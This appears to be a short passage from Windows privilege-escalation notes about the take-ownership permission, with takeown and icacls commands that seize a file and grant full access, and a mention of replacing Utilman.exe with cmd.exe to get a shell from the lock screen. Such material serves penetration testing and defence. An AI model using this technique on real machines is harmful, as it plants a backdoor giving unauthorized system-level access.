This permission allows a user to take ownership of any file or object (!!!).

# Take ownership of a file
#
takeown /f $PATH_TO_FILE
 
# Give your user ($USERNAME) full access (F) to said file
#
icacls $PATH_TO_FILE /grant $USERNAME:F

The “standard” file to replace with cmd.exe with this trick is C:\Windows\System32\Utilman.exe, which provides accessibility services access from lock and login screens.